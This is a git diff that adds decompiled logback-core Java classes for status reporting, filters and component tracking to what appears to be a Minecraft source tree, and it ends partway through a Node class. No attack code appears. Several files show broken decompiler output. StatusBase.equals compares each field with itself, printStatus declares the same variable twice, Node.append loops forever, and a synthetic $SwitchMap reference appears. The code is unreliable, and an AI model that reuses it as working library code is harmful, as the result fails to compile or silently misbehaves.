+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.helpers.CyclicBuffer;
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CyclicBufferTracker<E>
+  extends AbstractComponentTracker<CyclicBuffer<E>>
+{
+  static final int DEFAULT_NUMBER_OF_BUFFERS = 64;
+  static final int DEFAULT_BUFFER_SIZE = 256;
+  int bufferSize = 256;
+  
+
+  public CyclicBufferTracker()
+  {
+    setMaxComponents(64);
+  }
+  
+  public int getBufferSize() {
+    return bufferSize;
+  }
+  
+  public void setBufferSize(int bufferSize) {
+    this.bufferSize = bufferSize;
+  }
+  
+  protected void processPriorToRemoval(CyclicBuffer<E> component)
+  {
+    component.clear();
+  }
+  
+  protected CyclicBuffer<E> buildComponent(String key)
+  {
+    return new CyclicBuffer(bufferSize);
+  }
+  
+  protected boolean isComponentStale(CyclicBuffer<E> eCyclicBuffer)
+  {
+    return false;
+  }
+  
+  List<String> liveKeysAsOrderedList()
+  {
+    return new ArrayList(liveMap.keySet());
+  }
+  
+  List<String> lingererKeysAsOrderedList() {
+    return new ArrayList(lingerersMap.keySet());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/DeferredProcessingAware.java b/src/minecraft/ch/qos/logback/core/spi/DeferredProcessingAware.java
new file mode 100644
index 0000000..6c07311
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/DeferredProcessingAware.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.spi;
+
+public abstract interface DeferredProcessingAware
+{
+  public abstract void prepareForDeferredProcessing();
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/FilterAttachable.java b/src/minecraft/ch/qos/logback/core/spi/FilterAttachable.java
new file mode 100644
index 0000000..02468ad
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/FilterAttachable.java
@@ -0,0 +1,15 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.filter.Filter;
+import java.util.List;
+
+public abstract interface FilterAttachable<E>
+{
+  public abstract void addFilter(Filter<E> paramFilter);
+  
+  public abstract void clearAllFilters();
+  
+  public abstract List<Filter<E>> getCopyOfAttachedFiltersList();
+  
+  public abstract FilterReply getFilterChainDecision(E paramE);
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/FilterAttachableImpl.java b/src/minecraft/ch/qos/logback/core/spi/FilterAttachableImpl.java
new file mode 100644
index 0000000..ab171e8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/FilterAttachableImpl.java
@@ -0,0 +1,63 @@
+package ch.qos.logback.core.spi;
+
+import ch.qos.logback.core.filter.Filter;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CopyOnWriteArrayList;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class FilterAttachableImpl<E>
+  implements FilterAttachable<E>
+{
+  CopyOnWriteArrayList<Filter<E>> filterList = new CopyOnWriteArrayList();
+  
+  public FilterAttachableImpl() {}
+  
+  public void addFilter(Filter<E> newFilter)
+  {
+    filterList.add(newFilter);
+  }
+  
+
+
+  public void clearAllFilters()
+  {
+    filterList.clear();
+  }
+  
+
+
+
+
+  public FilterReply getFilterChainDecision(E event)
+  {
+    for (Filter<E> f : filterList) {
+      FilterReply r = f.decide(event);
+      if ((r == FilterReply.DENY) || (r == FilterReply.ACCEPT)) {
+        return r;
+      }
+    }
+    return FilterReply.NEUTRAL;
+  }
+  
+  public List<Filter<E>> getCopyOfAttachedFiltersList() {
+    return new ArrayList(filterList);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/FilterReply.java b/src/minecraft/ch/qos/logback/core/spi/FilterReply.java
new file mode 100644
index 0000000..df8152e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/FilterReply.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.spi;
+
+public enum FilterReply
+{
+  DENY,  NEUTRAL,  ACCEPT;
+  
+  private FilterReply() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/LifeCycle.java b/src/minecraft/ch/qos/logback/core/spi/LifeCycle.java
new file mode 100644
index 0000000..a1ac93e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/LifeCycle.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.core.spi;
+
+public abstract interface LifeCycle
+{
+  public abstract void start();
+  
+  public abstract void stop();
+  
+  public abstract boolean isStarted();
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/LogbackLock.java b/src/minecraft/ch/qos/logback/core/spi/LogbackLock.java
new file mode 100644
index 0000000..2ee7990
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/LogbackLock.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.spi;
+
+public class LogbackLock
+{
+  public LogbackLock() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/PreSerializationTransformer.java b/src/minecraft/ch/qos/logback/core/spi/PreSerializationTransformer.java
new file mode 100644
index 0000000..1c93797
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/PreSerializationTransformer.java
@@ -0,0 +1,8 @@
+package ch.qos.logback.core.spi;
+
+import java.io.Serializable;
+
+public abstract interface PreSerializationTransformer<E>
+{
+  public abstract Serializable transform(E paramE);
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/PropertyContainer.java b/src/minecraft/ch/qos/logback/core/spi/PropertyContainer.java
new file mode 100644
index 0000000..df57561
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/PropertyContainer.java
@@ -0,0 +1,10 @@
+package ch.qos.logback.core.spi;
+
+import java.util.Map;
+
+public abstract interface PropertyContainer
+{
+  public abstract String getProperty(String paramString);
+  
+  public abstract Map<String, String> getCopyOfPropertyMap();
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/PropertyDefiner.java b/src/minecraft/ch/qos/logback/core/spi/PropertyDefiner.java
new file mode 100644
index 0000000..1663f06
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/PropertyDefiner.java
@@ -0,0 +1,7 @@
+package ch.qos.logback.core.spi;
+
+public abstract interface PropertyDefiner
+  extends ContextAware
+{
+  public abstract String getPropertyValue();
+}
diff --git a/src/minecraft/ch/qos/logback/core/spi/ScanException.java b/src/minecraft/ch/qos/logback/core/spi/ScanException.java
new file mode 100644
index 0000000..f6671bc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/spi/ScanException.java
@@ -0,0 +1,34 @@
+package ch.qos.logback.core.spi;
+
+
+
+
+
+public class ScanException
+  extends Exception
+{
+  private static final long serialVersionUID = -3132040414328475658L;
+  
+
+
+
+  Throwable cause;
+  
+
+
+
+
+  public ScanException(String msg)
+  {
+    super(msg);
+  }
+  
+  public ScanException(String msg, Throwable rootCause) {
+    super(msg);
+    cause = rootCause;
+  }
+  
+  public Throwable getCause() {
+    return cause;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/ErrorStatus.java b/src/minecraft/ch/qos/logback/core/status/ErrorStatus.java
new file mode 100644
index 0000000..d108962
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/ErrorStatus.java
@@ -0,0 +1,27 @@
+package ch.qos.logback.core.status;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ErrorStatus
+  extends StatusBase
+{
+  public ErrorStatus(String msg, Object origin)
+  {
+    super(2, msg, origin);
+  }
+  
+  public ErrorStatus(String msg, Object origin, Throwable t) {
+    super(2, msg, origin, t);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/InfoStatus.java b/src/minecraft/ch/qos/logback/core/status/InfoStatus.java
new file mode 100644
index 0000000..48e1916
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/InfoStatus.java
@@ -0,0 +1,26 @@
+package ch.qos.logback.core.status;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class InfoStatus
+  extends StatusBase
+{
+  public InfoStatus(String msg, Object origin)
+  {
+    super(0, msg, origin);
+  }
+  
+  public InfoStatus(String msg, Object origin, Throwable t) {
+    super(0, msg, origin, t);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/NopStatusListener.java b/src/minecraft/ch/qos/logback/core/status/NopStatusListener.java
new file mode 100644
index 0000000..e216bd4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/NopStatusListener.java
@@ -0,0 +1,9 @@
+package ch.qos.logback.core.status;
+
+public class NopStatusListener
+  implements StatusListener
+{
+  public NopStatusListener() {}
+  
+  public void addStatusEvent(Status status) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/OnConsoleStatusListener.java b/src/minecraft/ch/qos/logback/core/status/OnConsoleStatusListener.java
new file mode 100644
index 0000000..859e279
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/OnConsoleStatusListener.java
@@ -0,0 +1,45 @@
+package ch.qos.logback.core.status;
+
+import ch.qos.logback.core.Context;
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OnConsoleStatusListener
+  extends OnPrintStreamStatusListenerBase
+{
+  public OnConsoleStatusListener() {}
+  
+  protected PrintStream getPrintStream()
+  {
+    return System.out;
+  }
+  
+
+
+
+
+
+
+  public static void addNewInstanceToContext(Context context)
+  {
+    OnConsoleStatusListener onConsoleStatusListener = new OnConsoleStatusListener();
+    onConsoleStatusListener.setContext(context);
+    onConsoleStatusListener.start();
+    context.getStatusManager().add(onConsoleStatusListener);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/OnErrorConsoleStatusListener.java b/src/minecraft/ch/qos/logback/core/status/OnErrorConsoleStatusListener.java
new file mode 100644
index 0000000..e56e7c3
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/OnErrorConsoleStatusListener.java
@@ -0,0 +1,30 @@
+package ch.qos.logback.core.status;
+
+import java.io.PrintStream;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class OnErrorConsoleStatusListener
+  extends OnPrintStreamStatusListenerBase
+{
+  public OnErrorConsoleStatusListener() {}
+  
+  protected PrintStream getPrintStream()
+  {
+    return System.err;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/OnPrintStreamStatusListenerBase.java b/src/minecraft/ch/qos/logback/core/status/OnPrintStreamStatusListenerBase.java
new file mode 100644
index 0000000..1bf889b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/OnPrintStreamStatusListenerBase.java
@@ -0,0 +1,92 @@
+package ch.qos.logback.core.status;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.util.StatusPrinter;
+import java.io.PrintStream;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+abstract class OnPrintStreamStatusListenerBase
+  extends ContextAwareBase
+  implements StatusListener, LifeCycle
+{
+  boolean isStarted = false;
+  
+  static final long DEFAULT_RETROSPECTIVE = 300L;
+  long retrospective = 300L;
+  
+
+  OnPrintStreamStatusListenerBase() {}
+  
+
+  protected abstract PrintStream getPrintStream();
+  
+  private void print(Status status)
+  {
+    StringBuilder sb = new StringBuilder();
+    StatusPrinter.buildStr(sb, "", status);
+    getPrintStream().print(sb);
+  }
+  
+  public void addStatusEvent(Status status) {
+    if (!isStarted)
+      return;
+    print(status);
+  }
+  
+
+
+  private void retrospectivePrint()
+  {
+    if (context == null)
+      return;
+    long now = System.currentTimeMillis();
+    StatusManager sm = context.getStatusManager();
+    List<Status> statusList = sm.getCopyOfStatusList();
+    for (Status status : statusList) {
+      long timestamp = status.getDate().longValue();
+      if (now - timestamp < retrospective) {
+        print(status);
+      }
+    }
+  }
+  
+  public void start() {
+    isStarted = true;
+    if (retrospective > 0L) {
+      retrospectivePrint();
+    }
+  }
+  
+  public void setRetrospective(long retrospective) {
+    this.retrospective = retrospective;
+  }
+  
+  public long getRetrospective() {
+    return retrospective;
+  }
+  
+  public void stop() {
+    isStarted = false;
+  }
+  
+  public boolean isStarted() {
+    return isStarted;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/Status.java b/src/minecraft/ch/qos/logback/core/status/Status.java
new file mode 100644
index 0000000..b2db49c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/Status.java
@@ -0,0 +1,30 @@
+package ch.qos.logback.core.status;
+
+import java.util.Iterator;
+
+public abstract interface Status
+{
+  public static final int INFO = 0;
+  public static final int WARN = 1;
+  public static final int ERROR = 2;
+  
+  public abstract int getLevel();
+  
+  public abstract int getEffectiveLevel();
+  
+  public abstract Object getOrigin();
+  
+  public abstract String getMessage();
+  
+  public abstract Throwable getThrowable();
+  
+  public abstract Long getDate();
+  
+  public abstract boolean hasChildren();
+  
+  public abstract void add(Status paramStatus);
+  
+  public abstract boolean remove(Status paramStatus);
+  
+  public abstract Iterator<Status> iterator();
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/StatusBase.java b/src/minecraft/ch/qos/logback/core/status/StatusBase.java
new file mode 100644
index 0000000..bbd4784
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/StatusBase.java
@@ -0,0 +1,173 @@
+package ch.qos.logback.core.status;
+
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class StatusBase
+  implements Status
+{
+  private static final List<Status> EMPTY_LIST = new ArrayList(0);
+  int level;
+  final String message;
+  final Object origin;
+  List<Status> childrenList;
+  Throwable throwable;
+  long date;
+  
+  StatusBase(int level, String msg, Object origin)
+  {
+    this(level, msg, origin, null);
+  }
+  
+  StatusBase(int level, String msg, Object origin, Throwable t) {
+    this.level = level;
+    message = msg;
+    this.origin = origin;
+    throwable = t;
+    date = System.currentTimeMillis();
+  }
+  
+  public synchronized void add(Status child) {
+    if (child == null) {
+      throw new NullPointerException("Null values are not valid Status.");
+    }
+    if (childrenList == null) {
+      childrenList = new ArrayList();
+    }
+    childrenList.add(child);
+  }
+  
+  public synchronized boolean hasChildren() {
+    return (childrenList != null) && (childrenList.size() > 0);
+  }
+  
+  public synchronized Iterator<Status> iterator() {
+    if (childrenList != null) {
+      return childrenList.iterator();
+    }
+    return EMPTY_LIST.iterator();
+  }
+  
+  public synchronized boolean remove(Status statusToRemove)
+  {
+    if (childrenList == null) {
+      return false;
+    }
+    
+    return childrenList.remove(statusToRemove);
+  }
+  
+  public int getLevel() {
+    return level;
+  }
+  
+
+
+
+  public synchronized int getEffectiveLevel()
+  {
+    int result = level;
+    
+
+    Iterator it = iterator();
+    
+    while (it.hasNext()) {
+      Status s = (Status)it.next();
+      int effLevel = s.getEffectiveLevel();
+      if (effLevel > result) {
+        result = effLevel;
+      }
+    }
+    return result;
+  }
+  
+  public String getMessage() {
+    return message;
+  }
+  
+  public Object getOrigin() {
+    return origin;
+  }
+  
+  public Throwable getThrowable() {
+    return throwable;
+  }
+  
+  public Long getDate() {
+    return Long.valueOf(date);
+  }
+  
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder();
+    switch (getEffectiveLevel()) {
+    case 0: 
+      buf.append("INFO");
+      break;
+    case 1: 
+      buf.append("WARN");
+      break;
+    case 2: 
+      buf.append("ERROR");
+    }
+    
+    if (origin != null) {
+      buf.append(" in ");
+      buf.append(origin);
+      buf.append(" -");
+    }
+    
+    buf.append(" ");
+    buf.append(message);
+    
+    if (throwable != null) {
+      buf.append(" ");
+      buf.append(throwable);
+    }
+    
+    return buf.toString();
+  }
+  
+  public int hashCode()
+  {
+    int prime = 31;
+    int result = 1;
+    result = 31 * result + level;
+    result = 31 * result + (message == null ? 0 : message.hashCode());
+    return result;
+  }
+  
+  public boolean equals(Object obj)
+  {
+    if (this == obj)
+      return true;
+    if (obj == null)
+      return false;
+    if (getClass() != obj.getClass())
+      return false;
+    StatusBase other = (StatusBase)obj;
+    if (level != level)
+      return false;
+    if (message == null) {
+      if (message != null)
+        return false;
+    } else if (!message.equals(message))
+      return false;
+    return true;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/StatusListener.java b/src/minecraft/ch/qos/logback/core/status/StatusListener.java
new file mode 100644
index 0000000..6c70fd2
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/StatusListener.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.status;
+
+public abstract interface StatusListener
+{
+  public abstract void addStatusEvent(Status paramStatus);
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/StatusListenerAsList.java b/src/minecraft/ch/qos/logback/core/status/StatusListenerAsList.java
new file mode 100644
index 0000000..0b291de
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/StatusListenerAsList.java
@@ -0,0 +1,36 @@
+package ch.qos.logback.core.status;
+
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StatusListenerAsList
+  implements StatusListener
+{
+  public StatusListenerAsList() {}
+  
+  List<Status> statusList = new ArrayList();
+  
+  public void addStatusEvent(Status status) {
+    statusList.add(status);
+  }
+  
+  public List<Status> getStatusList() {
+    return statusList;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/StatusManager.java b/src/minecraft/ch/qos/logback/core/status/StatusManager.java
new file mode 100644
index 0000000..740fead
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/StatusManager.java
@@ -0,0 +1,20 @@
+package ch.qos.logback.core.status;
+
+import java.util.List;
+
+public abstract interface StatusManager
+{
+  public abstract void add(Status paramStatus);
+  
+  public abstract List<Status> getCopyOfStatusList();
+  
+  public abstract int getCount();
+  
+  public abstract void add(StatusListener paramStatusListener);
+  
+  public abstract void remove(StatusListener paramStatusListener);
+  
+  public abstract void clear();
+  
+  public abstract List<StatusListener> getCopyOfStatusListenerList();
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/StatusUtil.java b/src/minecraft/ch/qos/logback/core/status/StatusUtil.java
new file mode 100644
index 0000000..c84545b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/StatusUtil.java
@@ -0,0 +1,184 @@
+package ch.qos.logback.core.status;
+
+import ch.qos.logback.core.Context;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StatusUtil
+{
+  StatusManager sm;
+  
+  public StatusUtil(StatusManager sm)
+  {
+    this.sm = sm;
+  }
+  
+  public StatusUtil(Context context) {
+    sm = context.getStatusManager();
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean contextHasStatusListener(Context context)
+  {
+    StatusManager sm = context.getStatusManager();
+    if (sm == null)
+      return false;
+    List<StatusListener> listeners = sm.getCopyOfStatusListenerList();
+    if ((listeners == null) || (listeners.size() == 0)) {
+      return false;
+    }
+    return true;
+  }
+  
+  public static List<Status> filterStatusListByTimeThreshold(List<Status> rawList, long threshold) {
+    List<Status> filteredList = new ArrayList();
+    for (Status s : rawList) {
+      if (s.getDate().longValue() >= threshold)
+        filteredList.add(s);
+    }
+    return filteredList;
+  }
+  
+  public void addStatus(Status status) {
+    if (sm != null) {
+      sm.add(status);
+    }
+  }
+  
+  public void addInfo(Object caller, String msg) {
+    addStatus(new InfoStatus(msg, caller));
+  }
+  
+  public void addWarn(Object caller, String msg) {
+    addStatus(new WarnStatus(msg, caller));
+  }
+  
+  public void addError(Object caller, String msg, Throwable t)
+  {
+    addStatus(new ErrorStatus(msg, caller, t));
+  }
+  
+  public boolean hasXMLParsingErrors(long threshold) {
+    return containsMatch(threshold, 2, "XML_PARSING");
+  }
+  
+  public boolean noXMLParsingErrorsOccurred(long threshold) {
+    return !hasXMLParsingErrors(threshold);
+  }
+  
+  public int getHighestLevel(long threshold) {
+    List<Status> filteredList = filterStatusListByTimeThreshold(sm.getCopyOfStatusList(), threshold);
+    int maxLevel = 0;
+    for (Status s : filteredList) {
+      if (s.getLevel() > maxLevel)
+        maxLevel = s.getLevel();
+    }
+    return maxLevel;
+  }
+  
+  public boolean isErrorFree(long threshold) {
+    return 2 > getHighestLevel(threshold);
+  }
+  
+  public boolean containsMatch(long threshold, int level, String regex) {
+    List<Status> filteredList = filterStatusListByTimeThreshold(sm.getCopyOfStatusList(), threshold);
+    Pattern p = Pattern.compile(regex);
+    
+    for (Status status : filteredList) {
+      if (level == status.getLevel())
+      {
+
+        String msg = status.getMessage();
+        Matcher matcher = p.matcher(msg);
+        if (matcher.lookingAt())
+          return true;
+      }
+    }
+    return false;
+  }
+  
+  public boolean containsMatch(int level, String regex) {
+    return containsMatch(0L, level, regex);
+  }
+  
+  public boolean containsMatch(String regex) {
+    Pattern p = Pattern.compile(regex);
+    for (Status status : sm.getCopyOfStatusList()) {
+      String msg = status.getMessage();
+      Matcher matcher = p.matcher(msg);
+      if (matcher.lookingAt()) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+  public int matchCount(String regex) {
+    int count = 0;
+    Pattern p = Pattern.compile(regex);
+    for (Status status : sm.getCopyOfStatusList()) {
+      String msg = status.getMessage();
+      Matcher matcher = p.matcher(msg);
+      if (matcher.lookingAt()) {
+        count++;
+      }
+    }
+    return count;
+  }
+  
+  public boolean containsException(Class<?> exceptionType) {
+    Iterator<Status> stati = sm.getCopyOfStatusList().iterator();
+    while (stati.hasNext()) {
+      Status status = (Status)stati.next();
+      Throwable t = status.getThrowable();
+      if ((t != null) && (t.getClass().getName().equals(exceptionType.getName()))) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+  public long timeOfLastReset()
+  {
+    List<Status> statusList = sm.getCopyOfStatusList();
+    if (statusList == null) {
+      return -1L;
+    }
+    int len = statusList.size();
+    for (int i = len - 1; i >= 0; i--) {
+      Status s = (Status)statusList.get(i);
+      if ("Will reset and reconfigure context ".equals(s.getMessage())) {
+        return s.getDate().longValue();
+      }
+    }
+    return -1L;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/ViewStatusMessagesServletBase.java b/src/minecraft/ch/qos/logback/core/status/ViewStatusMessagesServletBase.java
new file mode 100644
index 0000000..20595de
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/ViewStatusMessagesServletBase.java
@@ -0,0 +1,194 @@
+package ch.qos.logback.core.status;
+
+import ch.qos.logback.core.CoreConstants;
+import ch.qos.logback.core.helpers.Transform;
+import ch.qos.logback.core.util.CachingDateFormatter;
+import java.io.IOException;
+import java.io.PrintWriter;
+import java.io.StringWriter;
+import java.util.List;
+import javax.servlet.ServletException;
+import javax.servlet.http.HttpServlet;
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ViewStatusMessagesServletBase
+  extends HttpServlet
+{
+  private static final long serialVersionUID = -3551928133801157219L;
+  private static CachingDateFormatter SDF = new CachingDateFormatter("yyyy-MM-dd HH:mm:ss");
+  
+
+  static String SUBMIT = "submit";
+  static String CLEAR = "Clear";
+  int count;
+  
+  public ViewStatusMessagesServletBase() {}
+  
+  protected abstract StatusManager getStatusManager(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse);
+  
+  protected abstract String getPageTitle(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse);
+  
+  protected void service(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException
+  {
+    count = 0;
+    StatusManager sm = getStatusManager(req, resp);
+    
+    resp.setContentType("text/html");
+    PrintWriter output = resp.getWriter();
+    
+    output.append("<html>\r\n");
+    output.append("<head>\r\n");
+    printCSS(req.getContextPath(), output);
+    output.append("</head>\r\n");
+    output.append("<body>\r\n");
+    output.append(getPageTitle(req, resp));
+    
+
+    output.append("<form method=\"POST\">\r\n");
+    output.append("<input type=\"submit\" name=\"" + SUBMIT + "\" value=\"" + CLEAR + "\">");
+    output.append("</form>\r\n");
+    
+
+    if (CLEAR.equalsIgnoreCase(req.getParameter(SUBMIT))) {
+      sm.clear();
+      sm.add(new InfoStatus("Cleared all status messages", this));
+    }
+    
+    output.append("<table>");
+    StringBuilder buf = new StringBuilder();
+    if (sm != null) {
+      printList(buf, sm);
+    } else {
+      output.append("Could not find status manager");
+    }
+    output.append(buf);
+    output.append("</table>");
+    output.append("</body>\r\n");
+    output.append("</html>\r\n");
+    output.flush();
+    output.close();
+  }
+  
+  public void printCSS(String localRef, PrintWriter output) {
+    output.append("  <STYLE TYPE=\"text/css\">\r\n");
+    output.append("    .warn  { font-weight: bold; color: #FF6600;} \r\n");
+    output.append("    .error { font-weight: bold; color: #CC0000;} \r\n");
+    output.append("    table { margin-left: 2em; margin-right: 2em; border-left: 2px solid #AAA; }\r\n");
+    
+    output.append("    tr.even { background: #FFFFFF; }\r\n");
+    output.append("    tr.odd  { background: #EAEAEA; }\r\n");
+    output.append("    td { padding-right: 1ex; padding-left: 1ex; border-right: 2px solid #AAA; }\r\n");
+    
+    output.append("    td.date { text-align: right; font-family: courier, monospace; font-size: smaller; }");
+    
+    output.append(CoreConstants.LINE_SEPARATOR);
+    
+    output.append("  td.level { text-align: right; }");
+    output.append(CoreConstants.LINE_SEPARATOR);
+    output.append("    tr.header { background: #596ED5; color: #FFF; font-weight: bold; font-size: larger; }");
+    
+    output.append(CoreConstants.LINE_SEPARATOR);
+    
+    output.append("  td.exception { background: #A2AEE8; white-space: pre; font-family: courier, monospace;}");
+    
+    output.append(CoreConstants.LINE_SEPARATOR);
+    
+    output.append("  </STYLE>\r\n");
+  }
+  
+  public void printList(StringBuilder buf, StatusManager sm)
+  {
+    buf.append("<table>\r\n");
+    printHeader(buf);
+    List<Status> statusList = sm.getCopyOfStatusList();
+    for (Status s : statusList) {
+      count += 1;
+      printStatus(buf, s);
+    }
+    buf.append("</table>\r\n");
+  }
+  
+  public void printHeader(StringBuilder buf) {
+    buf.append("  <tr class=\"header\">\r\n");
+    buf.append("    <th>Date </th>\r\n");
+    buf.append("    <th>Level</th>\r\n");
+    buf.append("    <th>Origin</th>\r\n");
+    buf.append("    <th>Message</th>\r\n");
+    buf.append("  </tr>\r\n");
+  }
+  
+  String statusLevelAsString(Status s)
+  {
+    switch (s.getEffectiveLevel()) {
+    case 0: 
+      return "INFO";
+    case 1: 
+      return "<span class=\"warn\">WARN</span>";
+    case 2: 
+      return "<span class=\"error\">ERROR</span>";
+    }
+    return null;
+  }
+  
+  String abbreviatedOrigin(Status s) {
+    Object o = s.getOrigin();
+    if (o == null) {
+      return null;
+    }
+    String fqClassName = o.getClass().getName();
+    int lastIndex = fqClassName.lastIndexOf('.');
+    if (lastIndex != -1) {
+      return fqClassName.substring(lastIndex + 1, fqClassName.length());
+    }
+    return fqClassName;
+  }
+  
+  private void printStatus(StringBuilder buf, Status s) {
+    String trClass;
+    String trClass;
+    if (count % 2 == 0) {
+      trClass = "even";
+    } else {
+      trClass = "odd";
+    }
+    buf.append("  <tr class=\"").append(trClass).append("\">\r\n");
+    String dateStr = SDF.format(s.getDate().longValue());
+    buf.append("    <td class=\"date\">").append(dateStr).append("</td>\r\n");
+    buf.append("    <td class=\"level\">").append(statusLevelAsString(s)).append("</td>\r\n");
+    
+    buf.append("    <td>").append(abbreviatedOrigin(s)).append("</td>\r\n");
+    buf.append("    <td>").append(s.getMessage()).append("</td>\r\n");
+    buf.append("  </tr>\r\n");
+    if (s.getThrowable() != null) {
+      printThrowable(buf, s.getThrowable());
+    }
+  }
+  
+  private void printThrowable(StringBuilder buf, Throwable t) {
+    buf.append("  <tr>\r\n");
+    buf.append("    <td colspan=\"4\" class=\"exception\"><pre>");
+    StringWriter sw = new StringWriter();
+    PrintWriter pw = new PrintWriter(sw);
+    t.printStackTrace(pw);
+    buf.append(Transform.escapeTags(sw.getBuffer()));
+    buf.append("    </pre></td>\r\n");
+    buf.append("  </tr>\r\n");
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/status/WarnStatus.java b/src/minecraft/ch/qos/logback/core/status/WarnStatus.java
new file mode 100644
index 0000000..60111a6
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/status/WarnStatus.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.status;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WarnStatus
+  extends StatusBase
+{
+  public WarnStatus(String msg, Object origin)
+  {
+    super(1, msg, origin);
+  }
+  
+  public WarnStatus(String msg, Object origin, Throwable t) {
+    super(1, msg, origin, t);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/subst/Node.java b/src/minecraft/ch/qos/logback/core/subst/Node.java
new file mode 100644
index 0000000..9ff971c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/subst/Node.java
@@ -0,0 +1,124 @@
+package ch.qos.logback.core.subst;
+
+import java.io.PrintStream;
+
+
+
+
+
+public class Node
+{
+  Type type;
+  Object payload;
+  Object defaultPart;
+  Node next;
+  
+  static enum Type
+  {
+    LITERAL,  VARIABLE;
+    
+
+    private Type() {}
+  }
+  
+
+  public Node(Type type, Object payload)
+  {
+    this.type = type;
+    this.payload = payload;
+  }
+  
+  public Node(Type type, Object payload, Object defaultPart)
+  {
+    this.type = type;
+    this.payload = payload;
+    this.defaultPart = defaultPart;
+  }
+  
+  void append(Node newNode) {
+    if (newNode == null)
+      return;
+    Node n = this;
+    for (;;) {
+      if (next == null) {
+        next = newNode;
+        return;
+      }
+      n = next;
+    }
+  }
+  
+  public String toString()
+  {
+    switch (1.$SwitchMap$ch$qos$logback$core$subst$Node$Type[type.ordinal()]) {
+    case 1: 
